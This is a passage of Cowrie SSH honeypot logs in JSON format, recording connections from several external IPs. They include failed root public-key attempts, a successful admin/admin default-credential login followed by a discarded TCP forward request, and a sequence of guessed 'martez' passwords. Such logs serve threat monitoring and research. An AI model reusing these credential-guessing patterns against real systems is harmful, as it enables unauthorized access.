f6:c1:11:ed:01:0b:60:15:44:6f:ef:62:cb:5a:fe:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.703396Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:c1:11:ed:01:0b:60:15:44:6f:ef:62:cb:5a:fe:dc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIkdDetLdytRmGYxrgA1i5ectlSdKmFeENHUq8mS+HoKvdycIGFv/9vv584EayWUXnXy73iI7LioUQtAQWeLolvxJCjQljPzBMiBrkLNsSRrxTCzsy2OqffY7bVkv/WW3ELfnqQ3Jvsw76E76Q+fZxC1VZbTJjHSAstMGbZGTBXJAAAAFQCWNkil2JeDZafjFTiKTLr2z7yV/wAAAIAomdUGsFBFrLIBfUkAJiHIgjO4mDnPFXbOOhipzRMxPuJv6gMkzTNcwrAQLL+eML5bx9Ee0ZDWA4d2XeCWyNeK5rTiu02HWNQwEr6k3o/STFvVJloqvM8PFDYDdwTES/sced1DarFYK/pYl4r7JhKq/XaGIFJXMkx/0YZyWdU8SwAAAIA7Wep7IZRWvS7UuItNIJ3g9lQaovSg8ebSO7qikA24tCVEkUwtOQ1nmIjkKT4G/wx5mqVbSpyS4KbuX5bJF9805uhJSAQ0zPJk8GH0HR+BuYHb5KCNWDI2ZTLQJmNZpwGdRF1Tp00J/m06Aqp4GoFMnkldNJtyRk7d2qRjANSuZQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.707012Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:30:9c:cc:cb:9f:e3:20:ae:d6:ae:2c:4f:5b:6b:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFe8h5oc1f3qEvvFtsb2BAyvCml2ku2J54okSCvPBpWHy1mCMzDWgDhUMqgfPK2GSGT3PNU3bsp0esBrp2+eNC2TBRDRoiTlCbOS+SqrXCpMs+UVxbisMQlxN5UCLEJR4XwK77eWcAIPLNNBNE1S5RBFpqu2AMtPHFQh9o18NftAkP5MV8TLELsjOipHniZyRQfaoUUJjHkmbSYrtCcw1dZyhNF+XTWNMZsRvR0gOKr5P0fKOvJ3TsHVgC+ZLgc+C+DVm753J0DuhJVd71oXYJPtgawjQrhXMNIlkEFV1cKKDlZQiKo+eipFrigRI+cBuXgTh6onffc/pU5PvozAuSB/wDSRrNSFfpMHT2UySIfx4ulL7R/o+HU2oGYzNvoy1JVrg26gs9oIW+rMBEATbkxMdJwUpOf6j3M/3XTQRgMKKHVbAsfBihYBe5DbWZjgjgYSK9DtXQcYLeO+JWpghMRlTJO8exYIhGbRraWPfSTq5U+wgNH6aqrUVja7p97nM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:30:9c:cc:cb:9f:e3:20:ae:d6:ae:2c:4f:5b:6b:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.790060Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:30:9c:cc:cb:9f:e3:20:ae:d6:ae:2c:4f:5b:6b:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFe8h5oc1f3qEvvFtsb2BAyvCml2ku2J54okSCvPBpWHy1mCMzDWgDhUMqgfPK2GSGT3PNU3bsp0esBrp2+eNC2TBRDRoiTlCbOS+SqrXCpMs+UVxbisMQlxN5UCLEJR4XwK77eWcAIPLNNBNE1S5RBFpqu2AMtPHFQh9o18NftAkP5MV8TLELsjOipHniZyRQfaoUUJjHkmbSYrtCcw1dZyhNF+XTWNMZsRvR0gOKr5P0fKOvJ3TsHVgC+ZLgc+C+DVm753J0DuhJVd71oXYJPtgawjQrhXMNIlkEFV1cKKDlZQiKo+eipFrigRI+cBuXgTh6onffc/pU5PvozAuSB/wDSRrNSFfpMHT2UySIfx4ulL7R/o+HU2oGYzNvoy1JVrg26gs9oIW+rMBEATbkxMdJwUpOf6j3M/3XTQRgMKKHVbAsfBihYBe5DbWZjgjgYSK9DtXQcYLeO+JWpghMRlTJO8exYIhGbRraWPfSTq5U+wgNH6aqrUVja7p97nM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.794064Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:2c:5b:94:94:ab:2b:45:67:94:32:7a:56:05:24:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpujszXV+cQ+pIly2MqSu49IAGZM9MxOYFxsgHJ4lqQYQ9AhqUwl2viHEqEW7vNeO7oBHV1diEStRTt/E3bxXgdQnGHFyQI6xIGb7sEhYzLGPYbTcuDLLCldi889EuB14YmcRwVUCqZAKAAv6XKvX7NQTCGtH3fMSboRR4a3ILsxdZK0v6YcI7IoBDqv2t1orAzhkj0Lz4QwvCmOJls05Z5ZHJbDJh4nAlbjEw6ENw4mNq+Pwa0AEzOebJHOr6q2ROBSx7NM9++AQf+9hmGVU3RCUqwCgLs0TFDZLXx/bk6Q5VC36RnFPS7w3fQ3PnqLTjVhx1W48UGZGW5ms7D4RP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:2c:5b:94:94:ab:2b:45:67:94:32:7a:56:05:24:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.877090Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:2c:5b:94:94:ab:2b:45:67:94:32:7a:56:05:24:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpujszXV+cQ+pIly2MqSu49IAGZM9MxOYFxsgHJ4lqQYQ9AhqUwl2viHEqEW7vNeO7oBHV1diEStRTt/E3bxXgdQnGHFyQI6xIGb7sEhYzLGPYbTcuDLLCldi889EuB14YmcRwVUCqZAKAAv6XKvX7NQTCGtH3fMSboRR4a3ILsxdZK0v6YcI7IoBDqv2t1orAzhkj0Lz4QwvCmOJls05Z5ZHJbDJh4nAlbjEw6ENw4mNq+Pwa0AEzOebJHOr6q2ROBSx7NM9++AQf+9hmGVU3RCUqwCgLs0TFDZLXx/bk6Q5VC36RnFPS7w3fQ3PnqLTjVhx1W48UGZGW5ms7D4RP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.880664Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:38:49.971368Z","src_ip":"109.236.86.20","session":"5860caaa2fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43484,"dst_ip":"10.17.0.5","dst_port":22,"session":"912cd7a7154e","protocol":"ssh","message":"New connection: 87.251.64.176:43484 (10.17.0.5:22) [session: 912cd7a7154e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:39:16.688182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:39:16.693723Z","src_ip":"87.251.64.176","session":"912cd7a7154e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:39:16.790452Z","src_ip":"87.251.64.176","session":"912cd7a7154e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:39:17.077056Z","src_ip":"87.251.64.176","session":"912cd7a7154e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:39:17.174753Z","session":"912cd7a7154e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:39:17.272039Z","src_ip":"87.251.64.176","session":"912cd7a7154e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:39:17.370399Z","src_ip":"87.251.64.176","session":"912cd7a7154e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":49671,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb8b8110a158","protocol":"ssh","message":"New connection: 213.209.159.56:49671 (10.17.0.5:22) [session: eb8b8110a158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:39:59.275419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:13.600923Z","src_ip":"213.209.159.56","session":"eb8b8110a158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:13.679956Z","src_ip":"213.209.159.56","session":"eb8b8110a158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez","message":"login attempt [martez/martez] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:14.081750Z","src_ip":"213.209.159.56","session":"eb8b8110a158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez1","message":"login attempt [martez/martez1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:15.173571Z","src_ip":"213.209.159.56","session":"eb8b8110a158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez123","message":"login attempt [martez/martez123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:16.261576Z","src_ip":"213.209.159.56","session":"eb8b8110a158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez1234","message":"login attempt [martez/martez1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:17.346992Z","src_ip":"213.209.159.56","session":"eb8b8110a158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martez","password":"martez12345","message":"login attempt [martez/martez12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:18.438825Z","src_ip":"213.209.159.56","session":"eb8b8110a158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:19.523923Z","src_ip":"213.209.159.56","session":"eb8b8110a158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.152.185.117","src_port":53450,"dst_ip":"10.17.0.5","dst_port":22,"session":"f33f205da253","protocol":"ssh","message":"New connection: 213.152.185.117:53450 (10.17.0.5:22) [session: f33f205da253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:51.742673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:51.749295Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:51.832781Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:cd:49:24:20:83:02:1d:f7:40:66:10:96:ac:c6:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPFkFhC4h222VEH4prRrAVPRA9+YXcdBt8YsffK+jv9EUvOaBtxLAIaLaQPiiIcWVyrFugGylPqEVQFKBJXb8a0Q3AmKbjR2254UbJHaujHwbYtbUZFWtzcyWw5p3Sc0nkmfd0jjSEwTpw2rBwFbyeZwMOzPu5oRS4vigYqspiuTmkXTAYNnuohm8HF78DzXHYCbdDyjrUu4e9BEkaqdBokovSQBWd0R47T2sfrXq5ThDbCcw9dtgKMyxY1BEfbw7Go8BwZ/7bd+QuXMLOo+oJ2rt8t4JC9K3KPqH+M7HWXQ5cqHyUYExem+m4SBYECDIWRMGUgnKRbNPorLshF79n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:cd:49:24:20:83:02:1d:f7:40:66:10:96:ac:c6:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.227193Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:cd:49:24:20:83:02:1d:f7:40:66:10:96:ac:c6:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPFkFhC4h222VEH4prRrAVPRA9+YXcdBt8YsffK+jv9EUvOaBtxLAIaLaQPiiIcWVyrFugGylPqEVQFKBJXb8a0Q3AmKbjR2254UbJHaujHwbYtbUZFWtzcyWw5p3Sc0nkmfd0jjSEwTpw2rBwFbyeZwMOzPu5oRS4vigYqspiuTmkXTAYNnuohm8HF78DzXHYCbdDyjrUu4e9BEkaqdBokovSQBWd0R47T2sfrXq5ThDbCcw9dtgKMyxY1BEfbw7Go8BwZ/7bd+QuXMLOo+oJ2rt8t4JC9K3KPqH+M7HWXQ5cqHyUYExem+m4SBYECDIWRMGUgnKRbNPorLshF79n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.233070Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:cb:f8:d9:ca:c5:21:19:7e:c6:64:27:0d:e9:7d:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC62S/E4yId9tBcX/dYVtaiDDCAf7PR8cd/mGKE3PHFTQmOVe2QxJyKuh+NBXKluxTNEXnR6C+JWFbXXX8OklZ3ODyYgPM7f3nNmDBRXfygXgf9YNJn6D7I854LiG2kanS0aSzwFSZUR6BetfY7uCriq052RZo+gYLuV4bKzq/xFO5FMx9pQLZ844koFaBbOlSVQ+IxUD3Lt79xLKOnKpydgRAljyKDIEwGjwBivZZetJnGm5j41gawxwX7Vnl69T8cz1RTjovwsxURzpbkdsrMQ2iPI3IxVWk9CZjUxqDgYD41AXqk+O3zu44SYdKhYH5ytr+K63Xpbobx/SSHAAH5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:cb:f8:d9:ca:c5:21:19:7e:c6:64:27:0d:e9:7d:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.328863Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:cb:f8:d9:ca:c5:21:19:7e:c6:64:27:0d:e9:7d:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC62S/E4yId9tBcX/dYVtaiDDCAf7PR8cd/mGKE3PHFTQmOVe2QxJyKuh+NBXKluxTNEXnR6C+JWFbXXX8OklZ3ODyYgPM7f3nNmDBRXfygXgf9YNJn6D7I854LiG2kanS0aSzwFSZUR6BetfY7uCriq052RZo+gYLuV4bKzq/xFO5FMx9pQLZ844koFaBbOlSVQ+IxUD3Lt79xLKOnKpydgRAljyKDIEwGjwBivZZetJnGm5j41gawxwX7Vnl69T8cz1RTjovwsxURzpbkdsrMQ2iPI3IxVWk9CZjUxqDgYD41AXqk+O3zu44SYdKhYH5ytr+K63Xpbobx/SSHAAH5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.333646Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:c9:42:10:0b:8c:20:4e:3b:4f:81:d3:31:72:50:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtaJoSKqT9+DXrRO5KUDiSIKbOKrBhRqthRkMpQHxdV8oSnOhK14MxwCfYtInSX/tNciF+sgzoMVZtshEPW9tlOBgf1ItIoP7jmrG3LV3VwaXh3klZu5Jy8dHOTiEjhMZPIK854zCUXplXUXjT085YBba3JQ2s8z/+S2PTSGsia8n6RPDC7qWyY+dITGx9ioPEJYgaj7CaCfH4JDgRVR5jFJAB5Z47r0kMcSVmeetL6QrzKeo/8H7N6YdtT6zJ/QLQXJHQEXNzGa8CkLUH0vGOnS6VjCeMkqzK5uLChR2w+AYzcFwbMTl9mGa+k3ec4WKs4tNa9VQSTJHnEWRfHwSN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:c9:42:10:0b:8c:20:4e:3b:4f:81:d3:31:72:50:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.418464Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:c9:42:10:0b:8c:20:4e:3b:4f:81:d3:31:72:50:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtaJoSKqT9+DXrRO5KUDiSIKbOKrBhRqthRkMpQHxdV8oSnOhK14MxwCfYtInSX/tNciF+sgzoMVZtshEPW9tlOBgf1ItIoP7jmrG3LV3VwaXh3klZu5Jy8dHOTiEjhMZPIK854zCUXplXUXjT085YBba3JQ2s8z/+S2PTSGsia8n6RPDC7qWyY+dITGx9ioPEJYgaj7CaCfH4JDgRVR5jFJAB5Z47r0kMcSVmeetL6QrzKeo/8H7N6YdtT6zJ/QLQXJHQEXNzGa8CkLUH0vGOnS6VjCeMkqzK5uLChR2w+AYzcFwbMTl9mGa+k3ec4WKs4tNa9VQSTJHnEWRfHwSN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.422226Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:13:cc:38:16:0d:31:24:ae:eb:2b:f3:7f:d0:39:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoSzYcarBrViYe74MytkG9Gid+racZBkQawHfzKInarhjyaZwOvuPKh468u7GJT4TsTcIDmM3Ns/cC9UV2BimjozwPrHhqWg1EVxBw5aKy7DzBy3GYDCB2XYbzRNd7GIazDk6o1kR3a6gs12NSD4sM6UZbgkMprqRSOXBwVY/nDK3Xu+NzvgaVqwTF5DkLWEy2a8b0vDu5cyOCUp6GgCLPqzHAvknASs/wCVkSTYTXjXtObrDPyN04k21aOVSPa//G5KxCOqyQA/uee+ptHzeEGbmgeUugutOf/rLdtOOOTZLRTJ8wmcaL8yME3aD08f0A5Z9P+5S8ObhaDihn1U/h","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:13:cc:38:16:0d:31:24:ae:eb:2b:f3:7f:d0:39:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:40:52.506435Z","src_ip":"213.152.185.117","session":"f33f205da253","protocol":"ssh"}
